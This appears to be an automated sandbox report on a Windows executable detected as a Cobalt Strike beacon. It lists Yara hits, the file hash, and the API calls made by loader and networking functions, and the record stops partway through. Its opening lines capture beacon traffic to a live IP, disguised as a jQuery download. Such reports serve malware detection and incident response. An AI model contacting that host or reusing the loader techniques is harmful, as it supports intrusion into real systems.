2025-01-02 09:36:00 UTC	511	OUT	GET /jquery-3.3.1.min.js HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Referer: http://code.jquery.com/ Accept-Encoding: gzip, deflate Cookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5I User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko Host: 45.116.78.127 Connection: Keep-Alive Cache-Control: no-cache
2025-01-02 09:36:01 UTC	267	IN	HTTP/1.1 200 OK Date: Thu, 2 Jan 2025 09:36:01 GMT Server: NetDNA-cache/2.2 Content-Length: 5649 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
2025-01-02 09:36:01 UTC	5649	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 33 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 Data Ascii: /! jQuery v3.3.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery r

Target ID:	0
Start time:	04:33:55
Start date:	02/01/2025
Path:	C:\Users\user\Desktop\1.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\1.exe"
Imagebase:	0x7ff7ad040000
File size:	526'848 bytes
MD5 hash:	9AFAD044F9FF1201826FB08E602D3E1D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CobaltStrike_3, Description: Yara detected CobaltStrike, Source: 00000000.00000002.3273708088.000002B66A0DC000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CobaltStrike_3, Description: Yara detected CobaltStrike, Source: 00000000.00000002.3273686311.000002B66A0B0000.00000020.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_CobaltStrike_663fc95d, Description: Identifies CobaltStrike via unidentified function code, Source: 00000000.00000002.3273686311.000002B66A0B0000.00000020.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_CobaltStrike_b54b94ac, Description: Rule for beacon sleep obfuscation routine, Source: 00000000.00000002.3273686311.000002B66A0B0000.00000020.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_CobaltStrike_3, Description: Yara detected CobaltStrike, Source: 00000000.00000003.2047591169.000002B669FB0000.00000040.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_CobaltStrike_f0b627fc, Description: Rule for beacon reflective loader, Source: 00000000.00000003.2047591169.000002B669FB0000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	2.5%
Dynamic/Decrypted Code Coverage:	79.1%
Signature Coverage:	9.7%
Total number of Nodes:	632
Total number of Limit Nodes:	30

Executed Functions

Function 00007FF7AD0414D8 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 77
memorylibrarynativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE ref: 00007FF7AD04156E
GetModuleHandleA.KERNEL32 ref: 00007FF7AD04159F
GetProcAddress.KERNEL32 ref: 00007FF7AD0415AF
GetCurrentProcess.KERNEL32 ref: 00007FF7AD0415C8
NtFlushInstructionCache.NTDLL ref: 00007FF7AD0415D7
VirtualProtect.KERNELBASE ref: 00007FF7AD0415E7

Strings

ntdll, xrefs: 00007FF7AD041598
NtFlushInstructionCache, xrefs: 00007FF7AD0415A5

Memory Dump Source

Source File: 00000000.00000002.3274069045.00007FF7AD041000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AD040000, based on PE: true

Associated: 00000000.00000002.3274052467.00007FF7AD040000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3274088482.00007FF7AD049000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3274119468.00007FF7AD095000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3274134501.00007FF7AD098000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3274149052.00007FF7AD09C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ad040000_1.jbxd

Similarity

API ID: ProtectVirtual$AddressCacheCurrentFlushHandleInstructionModuleProcProcess
String ID: NtFlushInstructionCache$ntdll
API String ID: 2917874169-2800261898
Opcode ID: 5a373afe036d417ece7b5d1f30bf6a75f63e927daf82d526c4cbf977ba0c1c6f
Instruction ID: 00925a3667ef46d21dbd77a451ef0aa1efe3f14b725bd2002c563004c632603b
Opcode Fuzzy Hash: 5a373afe036d417ece7b5d1f30bf6a75f63e927daf82d526c4cbf977ba0c1c6f
Instruction Fuzzy Hash: 90316F21A0EA5585E760AB12BD047ABB3A1FB88B84F864234ED4D53774FF3CE5A5C710

Function 00007FF7AD041180 Relevance: 10.6, APIs: 7, Instructions: 138
sleepstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(?,?,?,00007FF7AD0413E6), ref: 00007FF7AD0411BE
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF7AD04122F
malloc.MSVCRT ref: 00007FF7AD041263
strlen.MSVCRT ref: 00007FF7AD041284
malloc.MSVCRT ref: 00007FF7AD041290
memcpy.MSVCRT ref: 00007FF7AD0412A8

Memory Dump Source

Source File: 00000000.00000002.3274069045.00007FF7AD041000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AD040000, based on PE: true

Associated: 00000000.00000002.3274052467.00007FF7AD040000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3274088482.00007FF7AD049000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3274119468.00007FF7AD095000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3274134501.00007FF7AD098000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3274149052.00007FF7AD09C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ad040000_1.jbxd

Similarity

API ID: malloc$ExceptionFilterSleepUnhandledmemcpystrlen
String ID:
API String ID: 3806033187-0
Opcode ID: 8091a641eeb92fa861bdf09432316f056679052e5828dde474993ae9bd8e7f2b
Instruction ID: 5dd0bf325984519a53344510f1c2121e1324b10b5b4df9691ceb0d59c85fa807
Opcode Fuzzy Hash: 8091a641eeb92fa861bdf09432316f056679052e5828dde474993ae9bd8e7f2b
Instruction Fuzzy Hash: 94513EB1E4E60285F650BF16E458A7BA3A2EF94780FC64435ED1C873B5EE3CE4618361

Function 000002B66A0C2FA8 Relevance: 4.7, APIs: 3, Instructions: 190
stringCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000002B66A0C316C: malloc.LIBCMT ref: 000002B66A0C3188

GetUserNameA.ADVAPI32(?,?,?,?,?,?,?,-00000001,00000000,-00000001,00000000,00000003,000002B66A0BBC2D), ref: 000002B66A0C302F

Part of subcall function 000002B66A0BD570: WSASocketA.WS2_32 ref: 000002B66A0BD59E

strrchr.LIBCMT ref: 000002B66A0C306D
_snprintf.LIBCMT ref: 000002B66A0C311B

Memory Dump Source

Source File: 00000000.00000002.3273686311.000002B66A0B0000.00000020.00001000.00020000.00000000.sdmp, Offset: 000002B66A0B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b66a0b0000_1.jbxd

Yara matches

Similarity

API ID: NameSocketUser_snprintfmallocstrrchr
String ID:
API String ID: 1789932928-0
Opcode ID: 2e9ec8b2910e25878f9df8f559a5a89517a6a7cf57a35c6dffffe13ea40c4c2d
Instruction ID: 7d35e014aa16d14a9ae9b80bbc600fed4689e0fa1d6ddb2006fa1eaf122ffa26
Opcode Fuzzy Hash: 2e9ec8b2910e25878f9df8f559a5a89517a6a7cf57a35c6dffffe13ea40c4c2d
Instruction Fuzzy Hash: 03516630B1CA080FEB58AB6CA45E779B3D6E78D314F10552DE49BC3293DA7DD8828752

Function 000002B66A0BFC3E Relevance: .2, Instructions: 211
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.3273686311.000002B66A0B0000.00000020.00001000.00020000.00000000.sdmp, Offset: 000002B66A0B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b66a0b0000_1.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 88e8bec169d31fc803aeef05fed04f98ffb8ac2501b92b4af572ff67ccb03544
Instruction ID: 8ebbcc34ad92fe4d0be985db08ebc2932f34f4c0aa50b06b453a903247402fef
Opcode Fuzzy Hash: 88e8bec169d31fc803aeef05fed04f98ffb8ac2501b92b4af572ff67ccb03544
Instruction Fuzzy Hash: CD512834604A458FC71CCE1C86C9A3177DAFB95309B15937DD9ABCB267CA35DC82C680

Function 00007FF7AD0417A0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 53
filesleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNEL32 ref: 00007FF7AD0417DB
WriteFile.KERNEL32 ref: 00007FF7AD041816
CloseHandle.KERNEL32 ref: 00007FF7AD041823
Sleep.KERNEL32 ref: 00007FF7AD041839

Strings

\\.\mailslot\slot-9265, xrefs: 00007FF7AD0417CC

Memory Dump Source

Source File: 00000000.00000002.3274069045.00007FF7AD041000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AD040000, based on PE: true

Associated: 00000000.00000002.3274052467.00007FF7AD040000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3274088482.00007FF7AD049000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3274119468.00007FF7AD095000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3274134501.00007FF7AD098000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3274149052.00007FF7AD09C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ad040000_1.jbxd

Similarity

API ID: File$CloseCreateHandleSleepWrite
String ID: \\.\mailslot\slot-9265
API String ID: 1443029356-1114527691
Opcode ID: 12c8937509f94b184e0ce9ffa8a90910c0d02dd3be413883b3163e6873a6d272
Instruction ID: def1afecfa26e5f7d38ad533ab25d7e16f391622e2ea0976179236a36e92ba50
Opcode Fuzzy Hash: 12c8937509f94b184e0ce9ffa8a90910c0d02dd3be413883b3163e6873a6d272
Instruction Fuzzy Hash: D0110471B0D60246F364AB11B844A67F662EB98BA0F448338EE6D43BE4EF3CD4158710

Function 000002B66A0BCCD4 Relevance: 7.7, APIs: 5, Instructions: 239
networkCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_snprintf.LIBCMT ref: 000002B66A0BCD6D

Part of subcall function 000002B66A0C9B9C: _errno.LIBCMT ref: 000002B66A0C9BD3
Part of subcall function 000002B66A0C9B9C: _invalid_parameter_noinfo.LIBCMT ref: 000002B66A0C9BDE

_snprintf.LIBCMT ref: 000002B66A0BCDC7
_snprintf.LIBCMT ref: 000002B66A0BCDDE
InternetQueryDataAvailable.WININET ref: 000002B66A0BCE84

Memory Dump Source

Source File: 00000000.00000002.3273686311.000002B66A0B0000.00000020.00001000.00020000.00000000.sdmp, Offset: 000002B66A0B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b66a0b0000_1.jbxd

Yara matches

Similarity

API ID: _snprintf$AvailableDataInternetQuery_errno_invalid_parameter_noinfo
String ID:
API String ID: 2765704423-0
Opcode ID: 70f0b2ca5af4e20061d35c5bca96a8600da3e808857c3dcbcfbd5e76383eb985
Instruction ID: 0aace4d4b44730ff14a54a1d8f4d38276e776fc0132085f5071f66ceb6942c85
Opcode Fuzzy Hash: 70f0b2ca5af4e20061d35c5bca96a8600da3e808857c3dcbcfbd5e76383eb985
Instruction Fuzzy Hash: 0A71A831A187088FEB54EB18D88D7AA73E9FB98315F00462EE45BC3192DF3DE9458781

Function 000002B66A0BD570 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 103
networkCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WSASocketA.WS2_32 ref: 000002B66A0BD59E
WSAIoctl.WS2_32 ref: 000002B66A0BD5EB
closesocket.WS2_32 ref: 000002B66A0BD64A

Strings

_Cy, xrefs: 000002B66A0BD5FD

Memory Dump Source

Source File: 00000000.00000002.3273686311.000002B66A0B0000.00000020.00001000.00020000.00000000.sdmp, Offset: 000002B66A0B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b66a0b0000_1.jbxd

Yara matches

Similarity

API ID: IoctlSocketclosesocket
String ID: _Cy
API String ID: 3445158922-1085951347
Opcode ID: a92242532cdd76a831474aee6315f72e21cb2840c0ed84f4820b0f016089d1a4
Instruction ID: 4151c107d05d5a2df55f8ba85df4bda54e724eb349d36cc123ab9bcf210b5461
Opcode Fuzzy Hash: a92242532cdd76a831474aee6315f72e21cb2840c0ed84f4820b0f016089d1a4
Instruction Fuzzy Hash: 82317830A1CA484BDB58DF28958C76AB7E5FBE8319F110B3EE85EC3291DB3AC5418741

Function 00007FF7AD041603 Relevance: 6.1, APIs: 4, Instructions: 60
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ConvertThreadToFiber.KERNEL32 ref: 00007FF7AD04163D
CreateFiber.KERNEL32 ref: 00007FF7AD04165C
SwitchToFiber.KERNEL32 ref: 00007FF7AD041668
DeleteFiber.KERNEL32 ref: 00007FF7AD041671

Memory Dump Source

Source File: 00000000.00000002.3274069045.00007FF7AD041000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AD040000, based on PE: true

Associated: 00000000.00000002.3274052467.00007FF7AD040000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3274088482.00007FF7AD049000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3274119468.00007FF7AD095000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3274134501.00007FF7AD098000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3274149052.00007FF7AD09C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ad040000_1.jbxd

Similarity

API ID: Fiber$ConvertCreateDeleteSwitchThread
String ID:
API String ID: 300894985-0
Opcode ID: 19e0da33993c44b7506bf1086dbb16ea77694587ff193bf6245d114c650904a1
Instruction ID: b8cd0bb7237c40cdc5cf8f396067832da3abd5f1fb96e47e3dd069a717cc6ab5
Opcode Fuzzy Hash: 19e0da33993c44b7506bf1086dbb16ea77694587ff193bf6245d114c650904a1
Instruction Fuzzy Hash: 38213696E4EA4245F701AB20B8043BAA322DF11BA0F8A5138DD1D033F1FD3DB0158321

Function 00007FF7AD0416BC Relevance: 6.1, APIs: 4, Instructions: 57
memorythreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

HeapCreate.KERNEL32 ref: 00007FF7AD0416D8
HeapAlloc.KERNEL32 ref: 00007FF7AD0416EC
HeapReAlloc.KERNEL32 ref: 00007FF7AD041704
CreateThread.KERNEL32 ref: 00007FF7AD041751

Memory Dump Source

Source File: 00000000.00000002.3274069045.00007FF7AD041000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AD040000, based on PE: true

Associated: 00000000.00000002.3274052467.00007FF7AD040000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3274088482.00007FF7AD049000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3274119468.00007FF7AD095000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3274134501.00007FF7AD098000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3274149052.00007FF7AD09C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ad040000_1.jbxd

Similarity

API ID: Heap$AllocCreate$Thread
String ID:
API String ID: 393545303-0
Opcode ID: 714f174b13a6f866eb7e86233ea32842d6690c75935e25f6350bbcd674f99e5d
Instruction ID: accf7b8ebd3cdb58ff205aee2f6f366f6731411b843a14c7fd6d3a393a22c981
Opcode Fuzzy Hash: 714f174b13a6f866eb7e86233ea32842d6690c75935e25f6350bbcd674f99e5d
Instruction Fuzzy Hash: 06110252E5E65102F314AB7B78089B7A6A2DBDEBD4F4AC134ED4D47775FC3C90018210

Function 00007FF7AD0418F9 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 34
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

malloc.MSVCRT ref: 00007FF7AD04190C
SleepEx.KERNELBASE ref: 00007FF7AD04192B

Part of subcall function 00007FF7AD04186A: GetMailslotInfo.KERNEL32 ref: 00007FF7AD0418AE
Part of subcall function 00007FF7AD04186A: ReadFile.KERNEL32 ref: 00007FF7AD0418D9

Strings

\\.\mailslot\slot-9265, xrefs: 00007FF7AD0418FC

Memory Dump Source

Source File: 00000000.00000002.3274069045.00007FF7AD041000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AD040000, based on PE: true

Associated: 00000000.00000002.3274052467.00007FF7AD040000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3274088482.00007FF7AD049000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3274119468.00007FF7AD095000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3274134501.00007FF7AD098000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3274149052.00007FF7AD09C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ad040000_1.jbxd

Similarity

API ID: FileInfoMailslotReadSleepmalloc
String ID: \\.\mailslot\slot-9265
API String ID: 873109203-1114527691
Opcode ID: 335d62575feb6f285d72d406690dba11f31996b999c028d0e53523e56cd6be43
Instruction ID: 3bca99212fcc17e2b9a9433cc19183a267a185f1beb8d16d8a9a127f063beab6
Opcode Fuzzy Hash: 335d62575feb6f285d72d406690dba11f31996b999c028d0e53523e56cd6be43
Instruction Fuzzy Hash: DEF0F66274D1424AE614BB22FD018ABA360DF84B94FC94031DF5D933A1ED3CF4528750

Function 000002B66A0BD054 Relevance: 3.2, APIs: 2, Instructions: 157
networkCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetOpenA.WININET ref: 000002B66A0BD111
InternetConnectA.WININET ref: 000002B66A0BD17F

Memory Dump Source

Source File: 00000000.00000002.3273686311.000002B66A0B0000.00000020.00001000.00020000.00000000.sdmp, Offset: 000002B66A0B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b66a0b0000_1.jbxd

Yara matches

Similarity

API ID: Internet$ConnectOpen
String ID:
API String ID: 2790792615-0
Opcode ID: 44eed23d63fb0890720a6991a3b8969036aed2aac8f16f8d3a2fefc079dafb55
Instruction ID: ee2b8b5092da93e44a40c2750a62154fe6bfb27ae746c9d2bdde74a3e5ef3fa0
Opcode Fuzzy Hash: 44eed23d63fb0890720a6991a3b8969036aed2aac8f16f8d3a2fefc079dafb55
Instruction Fuzzy Hash: 3751D730A186044FEB48EF58D89D7B9B3E9FB88305F10456DE057C3292DB3DD9468782

Function 00007FF7AD04186A Relevance: 3.0, APIs: 2, Instructions: 47
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetMailslotInfo.KERNEL32 ref: 00007FF7AD0418AE
ReadFile.KERNEL32 ref: 00007FF7AD0418D9

Memory Dump Source

Source File: 00000000.00000002.3274069045.00007FF7AD041000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AD040000, based on PE: true

Associated: 00000000.00000002.3274052467.00007FF7AD040000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3274088482.00007FF7AD049000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3274119468.00007FF7AD095000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3274134501.00007FF7AD098000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3274149052.00007FF7AD09C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ad040000_1.jbxd

Similarity

API ID: FileInfoMailslotRead
String ID:
API String ID: 1548164602-0
Opcode ID: ee7fb3228befc32374cd89cdc1299add42a9164724472b155f9572456517ccb7
Instruction ID: d66dc463fefe63ace8a230fd44701edccc8d69b2256c81d7a6846f3ee6b6f8ed
Opcode Fuzzy Hash: ee7fb3228befc32374cd89cdc1299add42a9164724472b155f9572456517ccb7
Instruction Fuzzy Hash: 22017C73A2E6018AD794DB26F84446BB3A1FB88B94F459135BE5E82768EE3CC410CB10

Function 00007FF7AD0480D0 Relevance: 3.0, APIs: 2, Instructions: 13
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(?,?,-00000008,00000001,00007FF7AD0412EE,?,?,?,00007FF7AD0413E6), ref: 00007FF7AD0480F0
WaitForSingleObject.KERNEL32(?,?,-00000008,00000001,00007FF7AD0412EE,?,?,?,00007FF7AD0413E6), ref: 00007FF7AD0480FA

Memory Dump Source

Source File: 00000000.00000002.3274069045.00007FF7AD041000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AD040000, based on PE: true

Associated: 00000000.00000002.3274052467.00007FF7AD040000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3274088482.00007FF7AD049000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3274119468.00007FF7AD095000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3274134501.00007FF7AD098000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3274149052.00007FF7AD09C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ad040000_1.jbxd

Similarity

API ID: CurrentObjectProcessSingleWait
String ID:
API String ID: 256417062-0
Opcode ID: 509677881fd4968d315430fb96a9dcbb5e2356e6a5bd1bf6c8d1e8ae495e8b99
Instruction ID: b18edd9c6d4b88934a61b9fe0246a793ac51c81dc9e6725e55ecd72c83c80b6b
Opcode Fuzzy Hash: 509677881fd4968d315430fb96a9dcbb5e2356e6a5bd1bf6c8d1e8ae495e8b99
Instruction Fuzzy Hash: A0D0C750E1F55650F554773168194BB5615CF54B80F9A4536ED0D133F1BD5CE4624321

Function 000002B66A0C5FA4 Relevance: 1.3, APIs: 1, Instructions: 61
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualFree.KERNELBASE ref: 000002B66A0C6005

Memory Dump Source

Source File: 00000000.00000002.3273686311.000002B66A0B0000.00000020.00001000.00020000.00000000.sdmp, Offset: 000002B66A0B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b66a0b0000_1.jbxd

Yara matches

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: 035e5d67093643cf14d525f5db75048425cc0484b18a4d78cef9a8779f303f6a
Instruction ID: 30200d5aa3185a8c24e2662e2a03b73e1345a604950930ef43dc817dcf7f01f9
Opcode Fuzzy Hash: 035e5d67093643cf14d525f5db75048425cc0484b18a4d78cef9a8779f303f6a
Instruction Fuzzy Hash: 6C11C630D08B095BEBB0AB18989C77A7BE9EB94304F20552DE05BD2281CB3EC8C08651

Non-executed Functions

Function 000002B66A0CD384 Relevance: 32.5, APIs: 16, Strings: 2, Instructions: 1030COMMON

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 000002B66A0CD3E5

Part of subcall function 000002B66A0CC7E0: _getptd.LIBCMT ref: 000002B66A0CC7F6
Part of subcall function 000002B66A0CC7E0: __updatetlocinfo.LIBCMT ref: 000002B66A0CC82B
Part of subcall function 000002B66A0CC7E0: __updatetmbcinfo.LIBCMT ref: 000002B66A0CC852

_errno.LIBCMT ref: 000002B66A0CD3EA

Part of subcall function 000002B66A0CBFD0: _getptd_noexit.LIBCMT ref: 000002B66A0CBFD4

_fileno.LIBCMT ref: 000002B66A0CD417

Part of subcall function 000002B66A0CFDB4: _errno.LIBCMT ref: 000002B66A0CFDBD
Part of subcall function 000002B66A0CFDB4: _invalid_parameter_noinfo.LIBCMT ref: 000002B66A0CFDC8

write_multi_char.LIBCMT ref: 000002B66A0CDA53
write_string.LIBCMT ref: 000002B66A0CDA70
write_multi_char.LIBCMT ref: 000002B66A0CDA8D
write_string.LIBCMT ref: 000002B66A0CDAEC
write_multi_char.LIBCMT ref: 000002B66A0CDB45
free.LIBCMT ref: 000002B66A0CDB59
_isleadbyte_l.LIBCMT ref: 000002B66A0CDC2A
write_char.LIBCMT ref: 000002B66A0CDC40
write_char.LIBCMT ref: 000002B66A0CDC61
_errno.LIBCMT ref: 000002B66A0CDD64
_invalid_parameter_noinfo.LIBCMT ref: 000002B66A0CDD6F

Strings

@, xrefs: 000002B66A0CD403
, xrefs: 000002B66A0CDA27

Memory Dump Source

Source File: 00000000.00000002.3273686311.000002B66A0B0000.00000020.00001000.00020000.00000000.sdmp, Offset: 000002B66A0B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b66a0b0000_1.jbxd

Yara matches

Similarity

API ID: _errnowrite_multi_char$Locale_invalid_parameter_noinfowrite_charwrite_string$UpdateUpdate::___updatetlocinfo__updatetmbcinfo_fileno_getptd_getptd_noexit_isleadbyte_lfree
String ID: $@
API String ID: 2950348734-1077428164
Opcode ID: a13eea343652d2125984793768277ab6f7899e45437fecb40c09c16223446c0b
Instruction ID: 007d25a6f91cb724cc2c1cfa44cbe6cbe722159e574878e837bc2fc3ba2654f5
Opcode Fuzzy Hash: a13eea343652d2125984793768277ab6f7899e45437fecb40c09c16223446c0b
Instruction Fuzzy Hash: 37622D30D98B598BFB6C9A58C44D3B9B7D9FB95308F24022DD4A7C31D2D73ED8828661

Function 000002B66A0CC888 Relevance: 30.8, APIs: 16, Strings: 1, Instructions: 1022COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 000002B66A0CC8E9

Part of subcall function 000002B66A0CC7E0: _getptd.LIBCMT ref: 000002B66A0CC7F6
Part of subcall function 000002B66A0CC7E0: __updatetlocinfo.LIBCMT ref: 000002B66A0CC82B
Part of subcall function 000002B66A0CC7E0: __updatetmbcinfo.LIBCMT ref: 000002B66A0CC852

_errno.LIBCMT ref: 000002B66A0CC8EE

Part of subcall function 000002B66A0CBFD0: _getptd_noexit.LIBCMT ref: 000002B66A0CBFD4

_fileno.LIBCMT ref: 000002B66A0CC91B

Part of subcall function 000002B66A0CFDB4: _errno.LIBCMT ref: 000002B66A0CFDBD
Part of subcall function 000002B66A0CFDB4: _invalid_parameter_noinfo.LIBCMT ref: 000002B66A0CFDC8

write_multi_char.LIBCMT ref: 000002B66A0CCF4B
write_string.LIBCMT ref: 000002B66A0CCF68
write_multi_char.LIBCMT ref: 000002B66A0CCF85
write_string.LIBCMT ref: 000002B66A0CCFE4
write_multi_char.LIBCMT ref: 000002B66A0CD03D
free.LIBCMT ref: 000002B66A0CD051
_isleadbyte_l.LIBCMT ref: 000002B66A0CD122
write_char.LIBCMT ref: 000002B66A0CD138
write_char.LIBCMT ref: 000002B66A0CD159
_errno.LIBCMT ref: 000002B66A0CD253
_invalid_parameter_noinfo.LIBCMT ref: 000002B66A0CD25E

Strings

